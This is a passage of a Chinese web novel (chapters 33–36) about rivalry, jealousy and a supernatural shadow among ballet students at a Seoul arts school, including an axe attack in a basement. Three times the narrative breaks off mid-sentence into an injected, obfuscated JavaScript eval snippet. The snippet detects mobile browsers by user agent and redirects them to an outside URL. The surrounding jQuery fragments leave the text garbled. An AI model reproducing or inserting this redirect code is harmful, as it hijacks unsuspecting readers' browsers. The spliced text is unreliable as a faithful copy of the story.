珍星并不在意这一点，但她却没有直接答应，而是说：“请让我先考虑一下。” 老师似乎没想到她会这样说，愣了一下之后点头：“当然，学校会充分采纳你们的意见，不过不要让我们太为难，毕竟也是三年级了，你们走的每一步都很重要，而学校才是你们唯一的后盾。” 年轻的老师笑了笑，珍星对他嘴里隐隐的威胁视而不见，只是微笑。 英妍就在那个时候主动出声打断了这场谈话。 “学姐们好，我是一年级的朴英妍，麻烦大家了。” “珍星学姐，可以告诉我一下这幕戏里你们原本的想法是怎样的吗，刚刚老师跟我说的时候，我好像不太能体会到这里的情感。” 珍星点头走过去，但却不怎么感激她的解围，她只当对方是又想拉自己过去警告什么。 然而英妍什么都没有做，仿佛第一次见珍星，意识到这一点之后，珍星也没有再紧绷着。 排练的最后她走出礼堂，却被英妍叫住。 “请等一下，珍星学姐。” 她表现得温柔腼腆，让珍星几乎做不到将眼前的人和医院见到的少女视做同一人。 因此她在原地等着对方。 “在这里见到你，还真是倒霉。” 没想到她走过来，很快就同珍星擦肩而过，英妍其实并没有意识到之前几次珍星能听见自己不好的心声。 但珍星也无须再听见了，因为英妍似乎并不掩饰她对珍星的讨厌。 “不扎头发的时候看起来似乎没什么精神啊。”珍星朝着反方向离开，淡淡回复。 不过现在，当着素熙的面，珍星是不可能再对英妍这样了。 “中午过去紧急会议吗？” “好没问题，麻烦你来通知我了。” 珍星并没有因为素熙突然冒出来的话对英妍解释什么，只回复了她的上一句话，老师通知过去练习这件事。 英妍低下头，沉默了几秒。 “真是够讨厌的。” “干脆在你的舞鞋里放点碎玻璃让你在正式表演那天上不了台。” 等她抬头恢复一个正常学妹的模样，想表示自己并不在意刚刚的插曲时才发现，珍星早已扶着素熙走到了前面。 这一次珍星并没有赶走素熙。 而是说：“可以用一瓶汽水收买素熙大人陪我过去，等我结束再去吃午饭吗？” 素熙捏了捏珍星的脸。 “一瓶不够哦。” “珍星周末陪我出去玩才可以。” “你的腿还没好呢。” “那珍星来家里陪我好不好。” 素熙和珍星是不一样的性格，但她们的不一样还有很鲜明的一点。 鲜明到英妍能一眼看出素熙的好与珍星的不好，明明和自己一样是不坦诚的人。 为什么你可以拥有这样阳光的朋友呢？ 英妍跟在后面，默默想着，这样的心声是珍星所无法听到的。 因为这并不是恶意，只是一个单纯的疑问。 又或许是因为，英妍真正的想法并不是这个。 33. 爆发 【妄图成为另一个人，是因为对自己不够满意吗？ 也许只是因为太过贪心，而贪心并没有错。 上帝在上我在下，我祈求永恒，而您赐给我的是永远贪婪。 所以并不是我的错，而是您的错。】 英妍在钢琴下一阵摸索，找到了这张纸条，一位无名人的言语。 可以说是大逆不道，但英妍并未展示这张纸条，只是握在手里。 然后她转身对大家微笑。 “应该修好了，学姐你可以来试试。” 珍星扶着素熙过去，素熙悠闲地弹了几个音，点点头。 “英妍好厉害。”素熙对她竖起大拇指。 英妍低下头腼腆的笑着，轻声说：“这没什么。” 于是午间排练得以顺利进行。 实际上这次排练本就问题多多。 一开始若不是珍星拉来了素熙，突发状况不能抵达的钢伴位置缺了人，表演只能在无声情况下进行。 但是好在素熙来了。 结果一首圆舞曲才弹完一个小节，钢琴突然就发不出声音。 在场的人面面相觑，似乎没人会修琴，素熙虽然会，但由于腿伤也没办法弯腰去检查。 英妍便是在这个时候站出来，小心翼翼地问：“能让我来试试吗？” 事实证明，她只是太过谦虚，这样的表现赢得大家的喜欢。 于是在排练完一遍后，这次大家对英妍的人声演唱表达了充分的肯定，齐齐鼓掌。 而珍星这边略显落寞，尽管她才是这次表演的主角，但似乎无人问津，一方面是因为珍星虽然优秀却不是最优秀的人，她上面还有素熙。 而她显然也没有厉害到像英妍会被校长重金挖到学校来。 论风光，论能力，论处事，她都比不过英妍，这无关乎她是否在意，而是周围的人和气氛会推动着她们站在对立面。 更重要的是，英妍显然对此跃跃欲试。 包括这一次排练，实际上，从第一次排练开始，珍星就被这样的气氛笼罩。 虽然不知道操纵者是谁，但珍星在这里的压力远比她在素熙面前表现得多。 而今天，珍星更加确定了一点，英妍在有意针对自己。 排练的最后，珍星再一次被老师叫去一边说事情，而素熙待在钢琴边。 回头看去时，英妍主动向她走去，素熙脸上是极为灿烂的笑容。 珍星意识到，素熙对谁都好，对谁都很热情。 “你在听我说话吗，宋珍星？” 直到老师叫回她，珍星也还如梦初醒。 “老师，您说。” “上次我说的作品署名这件事，你们商量得怎么样了？” 珍星又失神了。 她没有听见老师说的任何话，只是微微偏头朝着身后看去。 素熙正在和英妍聊天。 虽然不知道在聊什么，但可以看见素熙笑得很开心。 而她能听见英妍的心声。 “素熙学姐真好，她好温柔。” “我想和她变得再亲些呢，我该怎么做......” 英妍的尾音洋溢着满满的性质，而珍星这边，老师还在催促着她给出一个回答。 “你怎么又走神了？” “才能让她变成我的朋友，我一个人的朋友呢？” 英妍源源不断的心声和老师的话交织成为一张网。 “麻烦给我一个准确的回答，不然学校那边老师也不好交代。” “要不然，告诉素熙学姐，她的朋友其实也是个恶毒的人好了。” 笼罩在珍星头上，让她感觉窒息。 “珍星同学，你还在听吗？最迟在下午放学前，告诉我答案可以嘛？” “素熙学姐看起来，善良得过分，她应该没办法接受吧。” 烦躁的情绪让珍星的表情沉了下去，她终于转过头，看向老师。 给出了答案。 “不要。” “什么？宋珍星你——” 老师的话还没说完。珍星已经转身走到素熙身边。 “走开。” 珍星对着英妍轻声说，因为态度很柔和，险些让人没听清她的意思。 “学姐？”英妍缓慢地眨了一下眼，似乎没能理解珍星的话。 “我不跳了。” “珍星——你怎么了？”素熙拉住她的衣角，不清楚她为什么突然生气。 但却没有刻板地替英妍说什么话。 比起英妍是否突然受到了珍星的针对这件事，素熙更在乎的只有珍星的情绪。 “这么沉不住气吗？” “珍星学姐，也没有多理智嘛。” 英妍的心声还在继续，珍星抬眼看过去，下三白眼的凌厉的确很吓人。 “是我做错什么了吗？”英妍不轻不重地开口，吸引来了所有人的注意。 原本就对珍星刚才的回答不满的老师走过来。 只一瞬间，大家将她包围住，用无声代替诘问。 素熙第一时间拉住了珍星，她是真的不清楚情况怎么发展成这样。 可在当下，她不知道该如何安抚珍星。 “学姐，你，你很讨厌我吗？” “讨厌我？你凭什么讨厌我。” “你明明和我一样，是个恶毒的人。” “闭嘴。”那是濒临失控的低吼，珍星的攻击性爆发了。 英妍无辜的表情里还有着不知所措，她被珍星的吼声猛地吓哭。 无声，但眼泪一滴接一滴地流下。 她低下头，缓慢地眨眼，在那个角度，那个瞬间，只有珍星看见她的笑容，流淌出一种得逞。 “宋珍星，你疯了吗？” “你欺负一个新生做什么？” 老师握着卷起来的曲谱随意地敲在她头上，其他人见怪不怪，被老师惩罚这件事并不是特殊例子，甚至在全国也很正常，毕竟严师出高徒嘛。 “老师，你在做什么——” 素熙在后面喊起来，但她被太多人刻意挡住，即使最后她从座位上跌落，也只能眼睁睁看着珍星被找到理由泄愤的老师不停地痛打。 当然，那一点也不致命，只是会心痛。 而心痛，是最没什么大不了的事情，哪里流血都会让人担忧，唯有心不会。 英妍默默躲在人群，看着狼狈的珍星，她心中升起奇怪的感觉。 “既然你这样，这次表演你不用上了。” 老师很随意地叫来替补，一个默默在观众席看着大家排练的人，在她上来之前没人在意，但被老推到大家面前之后，也并不令人惊讶。 因为她的确，一直在排练中出现，只是那个时候没人知道她是做什么的。 “你走吧。”老师赶走了珍星。 走到英妍面前关心了几句，顺便说了一些校风开明等等夸赞学校的好话。 珍星这次低下了头，扶起了比自己还狼狈的素熙，沉默地离开。 临走前，她停了一下，似乎想要转头。 身后被簇拥在人群中心的英妍紧紧盯着她。 但是珍星并没有回头。 “珍星......”素熙扶着她，心疼地看着她。 而珍星却对她说：“对不起素熙。” “不过，我也早就觉得，这支舞只有我和素熙两个人跳才是最好的。” 她们离开之后，一个意想不到的身影出现在这里。 “你是谁？”老师发现了那道臃肿的身影，不耐烦地过来询问。 那是惠珠，没人知道她什么时候就在那里。 也没人知道她究竟在这里待了多久。 “道、道具组那边的老师让我来找你。”惠珠一开始说得磕磕碰碰。 “好像是要找您去清点一下明天的道具情况。” 后来就变得流畅起来。 “这样啊，那你带我过去吧。” 老师点头招呼其他人继续练习，转身就跟着惠珠离开。 一路上也没忘了用惠珠的体型来开开玩笑。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644444|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “或许，这位女同学你家里是开养殖场的吗？” “你小时候是不是有偷吃家里的饲料？” 惠珠在前面，回头露出一个严肃的表情。 人至中年的男老师倒也不觉得害怕，反而嗤笑一声。 “不好笑吗，看来老师我没什么讲笑话的天赋呢。” 惠珠没有理会，带着她走下楼，朝着废弃的地下室走。 “道具都放在这么偏的地方吗？” 男老师突感阴风吹来，不自觉抖了抖身体，他的自言自语也没人搭理。 但看见前面的女学生都进去了，他也跟着进去了。 “这些道具很破旧啊。” “学校那帮老不死的就知道把钱拿去享乐，这么破的道具怎么用啊。” 老师随手捡起一件道具，一把破旧的斧头。 惠珠转过身伸出手，示意老师把东西给她。 很明显的道具斧头到了惠珠手里，也没什么改变。 “都看完了，我先回去了。” 男老师察觉到不对劲，转身想走。 “等等老师——”惠珠叫住他。 “又有什么......” “去死吧。” 惠珠突然笑起来，举起斧头向人劈过去。 不过却被老师躲过了，他赶紧跑起来，门却打不开。 “伤害...的人，都该死。”惠珠冲过来，再次举起斧头。 “你疯了吗，救命，救命——” 老师撞着门，想要逃却逃不开。 斧头对着他的脑门劈下。 却没有劈开他的脑子，因为紧闭的地下室大门，被人从外面打开了。 因此老师躲过了一劫。 赶过来的人是英妍，老师连忙逃开。 “老师——” 英妍并没有弄清楚情况，但等她看见惠珠手里的斧头时，惠珠已经将攻击目标切换成她了。 “你，也该死。”惠珠发出低吼。 此刻只要来一个人都能发现她的不对劲。 不过，正是因为一个人都没有，所以英妍才呼救不能。 尽管已经努力跑上台阶想要离开这里，但惠珠的速度显然更快。 等到英妍差一个台阶就能走出去时，惠珠已经追到她身后。 “为什么，要杀我。” “我不要死——” 抱着一种决心，英妍转身，狠厉地推了一把惠珠。 果然，她因为平衡不稳而摔下楼梯，但斧头却没击中她。 “差一点呢。”英妍坐在原地看着摔下去的惠珠，低声感慨。 就在她思索着要不要下去看看人的情况，决定是救人还是直接离开时，英妍心有所感地回头。 距离出口一步之遥的地方，珍星在上面看着她。 “不、不是我。”英妍想要解释。 “是她想要杀我。” 珍星走下来，沉默地向下，接近英妍时，被对方拉住。 “你不相信我？”英妍有些崩溃。 “跟我有什么关系。”珍星回答。 她下去检查惠珠的情况，然后赶紧让上面的素熙打救护车。 “如果你还有点良心的话，就赶紧去叫老师们过来帮忙。” 珍星不敢轻易去挪动惠珠，检查她的鼻息之后，立刻跑上来去叫人。 也顺带叫走了英妍。 顺理又成章地，英妍再次落后，珍星和素熙相互扶持着去叫人帮忙。 “我没有做错。” “是她想杀我，是她逼我的。” 英妍的心声不断响起，但珍星不会再对此产生任何反应。 地下室的惠珠动了动。 她的前方因为地下室的门打开透过一缕光，奇怪的是，没有东西遮挡的地方，反而有一道影子。 影子闪动几下，仿佛在说话。 惠珠有些艰难地开口，似乎与对方产生了分歧。 “可是，珍星说，让我等等她。” “她会来救我。” 34. 讨厌与记忆 艺术史老师偶尔会这样评价书本上的名人：虽然他在这个领域是杰出的艺术家，可并不代表他作为人的领域就一定是个好人。 “同学们，我们要学会用辩证的方式去看待一个人，一件事，知道了吗？” 显然，老师的肺腑之言并没有多少学生在听。 就连从不在这堂课睡觉的珍星也默默盯着窗外，神游天际。 “啊......下雨了。”一觉醒来的素熙看见窗外渐大的雨，神清气爽。 “这下终于能凉快了些。” “我们出去吹吹风吧。”素熙好动地拉着珍星要去走廊上。 结果自己却走得一瘸一拐，看着很是艰难，珍星扶着她，小心翼翼。 这是开学的第二天，窗外的木槿花却已经整整盛开了三个月，珍星还记得暑假前就能看见白色的小花坠在枝头上。 如今依旧在，这让她觉得，时间并没有过去太久。 “好香。”素熙想朝木槿树再靠近些，半个身子都探出了走廊。 “小心啊——”珍星有些担心，完全没有心思去欣赏这些开得灿烂的花。 素熙却没有听话，而是略带搞怪地在高大的树冠花丛间摇摆着，一团团白色木槿花在她头上像一层纱，又像一片云。 而素熙也许真的是空中的精灵也说不定。 珍星伸出手要抓住她的时候，因为这样的想法，凝滞了一秒，因此手的位置也发生了偏移。 于是花丛被她拉得摇摇晃晃，最后飘下来好多花瓣。 倒像一场雨，落在楼下经过的人头上。 “不好意思！没受伤吧——” 当然，这对于无辜的路人来说并不浪漫，花瓣带着水淅淅沥沥地砸在她的伞上。 更不幸的是，一阵大风吹来，竟然直接将她手中的伞吹飞。 这下，不仅是雨水还有湿漉漉变沉的花瓣齐齐砸在她头上。 “哦莫——她的伞——”珍星也看见了这一幕。 “要不然我们下去给她送一下伞吧。”素熙建议道。 那少女追了几步，伞被吹得越来越远，只能折返，跑向教学楼。 在珍星犹豫的时间里，她就这样消失不见，如同飘下去的花瓣。 但珍星最终还是打着伞下楼了。 “惠珠，你怎么在这淋雨？”珍星倾斜着伞面，更多地罩在惠珠身上。 惠珠瑟缩着身体，似乎没想到珍星的出现。 “走吧，我送你去教室。” 珍星陪着她一边走，一边还没忘记向上对着走廊上的素熙招手。 惠珠并未拒绝，但她的身体似乎朝着一个特定的角度也在挤压。 这看起来，更像是在和珍星疏远距离，不过，更像是在给另一个人让位置。 于是珍星停下来，惠珠抬头看她，屏住呼吸。 “还好我有多带一把伞。” “这样一人打一把，惠珠应该就不会淋到了吧。” 珍星将新的伞打开，塞到惠珠手里。 惠珠松了一口气，但她的表情也算不上多开心。 “谢谢。” “没事。” 惠珠撑起伞，又悄悄侧目看了一眼珍星。 珍星没有转头，只是自然地问。 “或许，我可以这样问惠珠吗？” “惠珠，交了新朋友吗？” 因为语气太过平静，完全不会让人想歪，可只有惠珠知道珍星的意思。 她在心中暗暗想——啊——被发现了。 “可是珍星是骗子。不可以相信她。” 珍星听不见这句话，但她看见了惠珠斜面的影子突然像烛火下的灯影，跳动起来。 “到了。” 珍星什么也没说，只是记下自己看见的东西，然而对惠珠摆摆手离开。 至于她送出去的那把伞，也并未想过收回。 当她往二楼走时，并未发现一楼拐角的黑发少女。 她手里握着一把残破的伞，看起来是因为先前的大风。 头发也被淋得乱糟糟，崭新的校服也褪去了光泽，她看起来十分可怜。 但没人能注意到她，因为她站在一个角落里，只有她能看见来往登上楼梯的人。 她盯着珍星手里的伞，回想起她抬头看见的面容。 花瓣随雨落下，遮住上面人的视角，却遮不住楼下仰望的少女的双眼。 雨滴和花瓣一起落在她的额头上，而她抬头就能看见探出来的珍星。 于是手中紧握的伞随风飞走，她假装追了几步又折返。 站在最近的教学楼等待着话多却烂好心的珍星下来。 “诶，同学你怎么还没去校长室报道？” “是迷路了吗？要不要我带你过去。” 路过的老师刚好知道她是谁，好心提出帮忙，却见有些狼狈的女孩摇摇头。 “谢谢老师，不过我正在等认识的姐姐。” “一会儿我会拜托她带我过去的。” 她的表现其实有些敷衍，当然，这是对于她自己的标准而言。 漫不经心地想着，迷路？这似乎是个好理由。 “不好意思，我好像迷路了，可以麻烦你再带我去一下校长室吗？” 等会儿就这样说吧，她下了决定。 “这样吗，那如果等下没等到人也可以来找我帮忙，我的办公室就在那边。” 温柔的女老师扶了扶眼镜，替她指了一个方向。 来历特殊的新生乖巧点点头，对着老师感激地鞠了一躬。 “没事没事，英妍同学可是我们校长专门挖过来的王牌哦，千万要保护好嗓子。” 老师客气地关心了一句，然后转身离开。 如果是之前，这个时候她就该带着恶意揣测老师的话。 “在诅咒我吗？我为什么会等不到。” 明明一切就在我的计划中。 “难道我只有嗓子需要保护吗？” 你们只把我当成工具。 但今天她没有，也许是因为出院后的母亲病情并没有恶化，在这所学校的校长开出的丰厚奖金条件下，最近她们的日子总算没有那么艰难。 母亲今天做的便当里，甚至还放上了她从前想吃却吃不到的草莓， 一切都是，非常好的新开始。 而在这个新开始的第一天，她还见到了，赐予她这个开始的人。 “也许，我们可以成为朋友。”英妍靠在墙柱上露出一点微笑。 挡路的老师身影离开后，英妍看见珍星拿着伞走向了另一个人。 在她的计划中，她会在珍星下楼之后，佯装不经意地跑出去撞在珍星身上。 之后，也许是她扶起珍星，也许是珍星扶起她。 一把伞撑在两个人头上，也许珍星对她的记忆还停留在过去，不自然地问她什么。 这个时候英妍会说：“在那之后，我和妈妈真的变好了。” “你说的是对的，姐姐，你的话帮助了我很多，让我也能有变好的机会。” 珍星也许会不好意思地摆手，说自己其实什么都没做。 于是英妍就会顺势说：“那我能和你做朋友吗？” 可惜的是，这一切都被老师毁了，那个路人老师挡住了她的视线，让珍星走向了另一个人。 英妍冷眼看着珍星带着惠珠走向另外一边，她自己于是悄悄跟在后面，在人群中躲着。 她们时不时交谈，英妍想着，一定会互相称呼彼此的姓名。 于是，她终于意识到，她连珍星的名字都不知道。 她们之间，陌生无比。 即使珍星留给她的印象，如此深刻。 凭什么呢？ 于是英妍又想，毁了这一切的人，应该是珍星。 在排练中终于看见了珍星姓名牌的英妍想，是这个叫珍星的人，毁掉了她成为一个好孩子的机会。 因为，在这个新的开始中，她的女主人公完全没有按照她编排好的故事进行。 “在这里见到你，还真是倒霉。” 在排练结束的第一天，英妍这样对珍星直白地说了。 你现在有记住我一点吗？我依旧如此糟糕，你想看见的改变，什么也没变。 你会因此而生气，心里只想着这个依旧讨厌的我吗？< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15644445|172741||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 可是，英妍当然看见了她，在走廊上噙着未知感情笑容目睹了珍星行为的素熙，也被英妍看见了。 素熙的目光，该如何形容呢，如果从前是不安，那么现在就是安心。 笃定了珍星的真心而安心。 这让英妍一眼就能看出，她与珍星之间的关系，是好朋友还是不止如此？ “真是够讨厌的。” 这是英妍的心声，在去排练之前，她看过了素熙和珍星在期末的合作舞台表演。 英妍并不懂芭蕾，但却看得出，这两位舞者的配合之默契，情感有多充沛。 为什么？ 为什么珍星能有朋友。 是因为她比自己还会伪装吗？ 一定是因为她比自己还会伪装吧。 英妍于是“不经意”间在同学面前提起珍星的名字。 “宋珍星？” “好像没听说过诶。” “就是芭蕾专业跳舞最好的那个学姐，我上次有看过上届校园大赛的视频，她跳的很厉害。” 英妍感到不可置信，怎么会没人知道她。 “跳舞最好的？要说芭蕾舞系的话，肯定是三年级的素熙学姐呀。” “她可是公认的舞蹈天才，自从上个学期转过来就永远在第一名的位置。” “而且她超级漂亮，又温柔又大方完全没有架子，有时候你跟她打招呼，她还会请你喝草莓牛奶。” 同桌滔滔不绝地谈起素熙，这让英妍兴致缺缺，但也并未变脸。 “这样吗......” 同学突然话锋一转，举起手大喊。 “哦！我想起来了。” “什么？” “你刚刚说的宋珍星就是老是跟在素熙学姐的那个跟班吧。” “跟班？”英妍面露疑惑。 却不是真的疑惑，但她的确对同学口中的话感兴趣。 “就是经常跟学姐呆一块的女生，性格和长相也就那样，小地方来的嘛也正常。” “不过，她身上有不少恐怖的传闻，倒也没有人敢惹她。” 英妍又一次重复：“恐怖的传闻？” “就是那个啦——”同桌凑近悄悄说起来。 “传说，她为了来到首尔，就是我们这所学校，害死了她的老师。” “而且，上学期她们班一个女生，在她和素熙学姐的合作表演舞台上，突然从天花板上摔下来，死在她面前......超级邪乎啊。那个女生平日里和宋珍星也很不对付。” “总之，希望她别害了素熙学姐。” 英妍猛然接收一大串消息，对于珍星的想法，反而有了微妙的回升。 其实，你也很可怜啊，宋珍星，姐姐。 发现她并没有过得那样好，英妍忍不住想。 如果成为朋友的是她和珍星，她们可以互相安慰，将自己的悲伤当成笑话讲给对方听，谁也不可怜谁，但却很平衡。 可惜，珍星选错了，她一定选错了。 抱着一种怜悯，英妍决定为珍星说点什么。 “可惜的是，我们没有亲眼看见。” “你说，会不会那个死掉的人本身就是鬼啊？” “因为我之前问过其他人，没有一个人知道死掉的那个人是谁，而且学校也根本没有派老师来警告我们闭嘴。” 这原本只是一个编造的想法。 哪知同桌煞有介事地点点头，仿佛真的被说服了。 “好像是诶，之前学校出事了，班主任都会在上课前警告我们。” 同桌从小都在这所艺术高中的本部读书，比较熟悉这边的老师和学校的特性。 “难不成这些是讨厌她的人编的传闻吗？”同桌十分开窍。 然而英妍并没有直接赞同，而是疑惑地问。 “为什么这样说呢？” “因为我根本不认识她，原本也不会讨厌她。” 英妍突然被同桌的话点中什么，不自然地结束了话题。 不认识就不讨厌，不讨厌也不认识。 【最简单的方式，就是讨厌我。这样就能记住我了，对吧，珍星、姐姐】 35. 日记 “其实素熙的腿伤并不严重，或者说，她的心情会决定她的伤口。 所以有时候，她会可怜巴巴地拄着拐，略微落后于珍星的步子。 等着珍星特地为她转身，朝着她走过来。 有时候她会扬起大大笑容，有时候会再多一个拥抱。 可不是所有人都能得到这种优待，因为不是所有人，都是素熙。 这实在太令人羡慕了。” 一本富有特色的日记上，少女握笔写下这样的文字。 这是一本颇具艺术气息的，具体是那种风格，也许是玩偶风吗？ 毕竟它的主人总会本子上画上很多娃娃，有的笑着，有的噘着嘴。 而最具特色的是，这些娃娃有着苹果一样充盈的脸蛋。 很快，她合上本子，拿起床边柜子上的一个洋娃娃。 那是一个黑发纤细的娃娃，做工很精美，她将娃娃举在脸边，一起照进镜子里。 “真好啊。”她说。 “惠珠也想要有朋友。”她的黑发里还是夹杂着原本的枯黄色，仔细看了看镜子里的自己。 她默默开口：“变瘦了，惠珠就会有朋友了吗？” 脸边的娃娃似乎笑得很开心，而惠珠也跟着她笑起来。 不曾被人听到的对话是这样的—— “我就是你的朋友。” “对，我有朋友。” 可是惠珠的笑容依旧勉强，抱着娃娃，她躺在了床上。 床边的白色药罐洋洋洒洒有了一整堆，依稀能窥见“瘦”字。 可惜的是，并没有什么用。 就像几个月前，那条帖子，她按照上面的话去做了，去许愿了。 也没有什么用，每一个夜晚都很漫长。 好在，第二天会按时抵达，十二点的时钟滴答时，惠珠的床边显出一道黑影。 那影子十分殷切地说：“那就快点变成我吧。” 这样，你想要的一切都会到来。 第二天是星期五，是个好日子，距离周末最近的日子。 每个学生都翘首以盼的日子，对于惠珠而言并没有分别。 不过，那个总喜欢找她麻烦的班长还是没变，她总能抓住每一个空档来到惠珠面前。 “呀，惠珠，你怎么又变胖了。” “你这样行走还方便吗？” 如果是上学期，惠珠也许还会伤心一阵，或者感到羞愧。 现在却完全不会，因为这样嘲笑完自己的班长，等一会儿就会在坐在位子上的时候发现凳子被猛地抽走。 狼狈地摔在桌面下。 而惠珠身边的影子就会轻微跃动，一开始，惠珠会为此感激，也会感到开心。 可是几次过后，她只觉得厌烦。 “为什么总是要这样对我呢？” 于是今天她这样问了。 “其实，我只是想和大家成为朋友。” 比起复仇故事里那些过瘾的情节，惠珠只想过上平静的日子，有可以值得分享事情的友人，上课不会被老师为难，放学也不要受到别人异样的目光。 她只是想做一个正常人。 只是没有办法。 “你还要贪心什么？如果不是吃了那个药，你根本活不下来，胖一点就胖一点，被嘲笑有什么的，你不听不就好了。” 电话里是母亲的声音，惠珠随着母亲的话想起来的并不是她口中捡回一命的幸运。 而是，其实小时候，她也是个正常的孩子。 “当时你被那些鬼东西缠上，我和你爸去教堂里捐了多少款才从神父那里换来那个灵药，现在你反而要怪我吗？” “没、没有。” 然而惠珠妈妈的怒火似乎完全被她这通莫名的电话打起来了。 “你要是真的活不下去了，就去死吧。” 记得那天是来到这所寄宿女校的第一天。惠珠因为这些目光和言语伤心地拨打了母亲的电话，但她其实内心没有太多波动，似乎听惯了这样的话。 还记得母亲也曾经会温柔地抱自己，对她说：“我们惠珠，能活下来真的太好了。” 可后来她不断发胖，完全失去了小时候的影子，一切就都变了。 所以，即使总说“心灵美最重要，外表没关系”的大人，也只是骗子。 等待着对面挂断电话后，惠珠转身才发现身后的小影子，准确来说是因为自己的体型太过巨大才显得对方向像一朵小花。 下意识避开她人目光的惠珠，慢慢挪开身体，却没想到对方轻轻拍了一下自己的肩膀。 “才不要听那些坏话。都是坏蛋才会这样说。” 惠珠错愕地点头，但依旧没去看对方，她走开，但却佯装着去到最近的接水房。 她并没有被这样无心的关心所打动，有多少人对自己说过这种话，她就受到过多少白眼与嘲笑。 她只是好奇，能对自己说出这种话的女孩子，和家人会说什么呢？ 这样的人，是不是很幸福，和她过着完全相反的生活呢。 素熙这样想着，屏住呼吸看过去。 “偶妈，我不想在这里上学了。” 没成想，那个安慰自己的女生，哭了起来。 “她们都嘲笑我，我知道她们的话都是没意思的话，可我还是会被影响。” “明明我们都是第一次见的陌生人，她们为什么要对我有这样大的恶意呢。” “她们好讨厌，学校好讨厌，我想回来。” 原来是这样吗，惠珠停在原地，一直听着她的电话，听她抱怨。 看见少女气鼓鼓地说完话，又自己抹掉眼泪，十分矛盾地接着说。 “妈妈，其实我是在说气话。” “我才不会走，她们讨厌我，我就让她们讨厌死。我才不在意她们。” “回来？可是我好不容易才来到首尔，我一定要取得成绩才回来。” “不要担心我，我只是想给你打电话。我会照顾好自己的。” 电话讲到最后，情绪失控的少女已经整理完自己的情绪，她絮絮叨叨的一番话，说起来真像对面根本没有人，完全就是自说自话。 “噗——” “你在偷听我？” 惠珠没忍住笑出来的下一秒，电话边的少女就出现在自己面前。 弯着腰看自己，好奇地看自己，除此之外什么也没有。 这样就很好了，惠珠在心里感到一种满足，刚刚和妈妈通电话所带来的忧郁都消散开。 “真好啊，你是今天唯一没有嘲笑我的人。” 那少女在口袋里摸索着，最后拿出一块水果糖。 “作为感谢，请你吃这个。” 糖果被塞进惠珠的手心，留给惠珠最后的记忆是西瓜味的软糖和对方的笑容。 那并不灿烂，有着含苞待放的羞涩。 而惠珠直到对方的背影完全消失在走廊上也没能说出一句完整的话。 如果给她一次好好说话的机会，她会想说什么呢？ “我也是。”她会这样说。 你是今天唯一一个没有嘲笑我的人。 你是唯一一个给我水果软糖的人。 你是让我决定留下来的人。 惠珠再次拨打家人的电话，那个对自己不耐烦的妈妈早已经替代了温柔的母亲，惠珠偶尔会想，也许世界上真的存在一些怪物。 在你睡着的时候，偷偷替代了你原本的家人，有一天，也一定会替代自己。 因为，她是无人在意的人。 “你非要今天转学吗？不是刚到新学校？”母亲的声音将她叫回来。 那是上一通电话的内容。 惠珠求着母亲为自己换一所学校，她学校好恐怖，这学校里的每一个人都好可怕。 “不、不用了。妈妈，你说得对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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总在写：“所有人都会喜欢素熙，所有人都想和素熙成为朋友，我喜欢素熙，我也想成为素熙的朋友，那样的话，我会拥有很多的爱。” 可是，这只是日记。 走到一侧的尽头，那原本是一块空地，现在却放着很多展品。 是校园大赛的作品，惠珠看见了自己的作品。 与此同时，身后传来好奇的询问。 “是惠珠的作品，一等奖呢，好厉害。” “珍、珍星？” 惠珠回过头，看见了落单的珍星。 “狐狸、阶梯？”珍星念出了展品的名字。 当她的目光完全放在惠珠身上的那刻，惠珠会想对她说出一切。 “内。是一个怪谈给我的灵感。” “什么样的怪谈呢？”珍星很好奇，她看着惠珠，眼神热切。 惠珠的话于是顿住，仿佛不会说话。 “惠珠、惠珠？还好吗？” “没事。我没事。” 她只是想起自己的日记。 【所有人都想成为素熙的朋友，我也......】 【想成为素熙。】 “当你在学校的28级台阶上数到多出来的第29级时，就能向狐仙许愿。” “她会实现你的所有愿望。” 惠珠失神地说，完全走神之际，珍星的手突然出现。 她手里拿着一瓶西瓜汽水，惠珠的脸被突然冰了一下。 珍星笑着说：“相信怪谈的话，惠珠不如向我许愿。” “我会给你西瓜汽水喝哦——” 36. 黑影（一） “我记得上次惠珠你好像还挺喜欢喝这个的。” 啪嗒——是易拉环打开的声音。 在滋滋的汽水声中，惠珠盯着还冒着冷气的罐身点点头。 “内。” 冷气很快就会因为常温变成晶莹的水滴。 惠珠能看见它的五光十色，仿佛宝石。 “说起来，之前惠珠的作品选材明明不是这个吧。” “当时，你好像也没打算把它作为参赛作品。” 珍星想起了这个作品，这个泥塑楼梯她之前见过，就在第一次被惠珠带去地下室时，彼时只是半成品，所以一开始珍星并未分辨出来。 可是，那个时候素熙明明问过惠珠，而惠珠的答案是否定的呀。 “因为，我有想要实现的愿望。” 惠珠的眸色微闪，她因为珍星的话也想起了之前的事情。 但她并未说更多，珍星只是察觉到她的不对劲，没有直接追问。 “说起来，你说的台阶就是通往宿舍的那一条吗？” “嗯。”抱着复杂的情绪，惠珠点头。 